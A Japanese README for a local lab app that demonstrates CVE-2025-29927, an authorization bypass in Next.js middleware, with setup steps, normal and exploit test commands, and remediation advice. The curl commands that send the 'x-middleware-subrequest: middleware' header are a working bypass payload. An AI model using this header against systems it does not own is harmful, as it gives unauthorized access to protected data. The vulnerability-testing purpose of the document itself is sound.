
CVE-2025-29927(Next.jsミドルウェアの認可バイパス)をテストおよび実証します。悪用テストスクリプトと通常アクセスのテストスクリプトに加え、修正ガイダンスが含まれています。
このアプリケーションは、Next.js ミドルウェアの認可バイパス脆弱性 (CVE-2025-29927) を実証します。
CVE-2025-29927 は、Next.js ミドルウェアにおける認可バイパス脆弱性です。特別に細工された HTTP ヘッダー (x-middleware-subrequest) を送信することで、攻撃者はミドルウェアに実装された認可チェックをバイパスし、保護されたリソースへのアクセスを取得する可能性があります。
依存関係をインストールします:
cd /var/www/react-nextjs/test-middleware-skip
npm install
開発サーバーを起動します:
npm run dev
サーバーは http://localhost:3000 で開始されます。
保護されたルートに通常どおりアクセスしてみてください:
npm run test-normal
または
curl -v http://localhost:3000/protected-data
ミドルウェアがアクセスをブロックするため、401 Unauthorized レスポンスが返るはずです。
エクスプロイトヘッダーを使って保護されたルートにアクセスしてみてください:
npm run test-exploit
または
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
アプリケーションが脆弱な場合、保護されたデータとともに 200 OK レスポンスが返ります。
通常アクセス(ブロックされるはず):
curl -v http://localhost:3000/api/protected
エクスプロイト使用時:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
この脆弱性を修正するには、以下を行ってください:
Next.js をパッチ適用済みバージョンに更新します:
更新できない場合は、受信リクエストから x-middleware-subrequest ヘッダーを取り除くリバースプロキシ (Nginx や Cloudflare など) を導入します。
API ルートが脆弱かどうかをテストします:
# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected
# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
このツールは教育およびセキュリティテストのみを目的として提供されます。ご自身の Next.js アプリケーションが脆弱かどうか、またパッチ適用が必要かどうかを確認するために使用してください。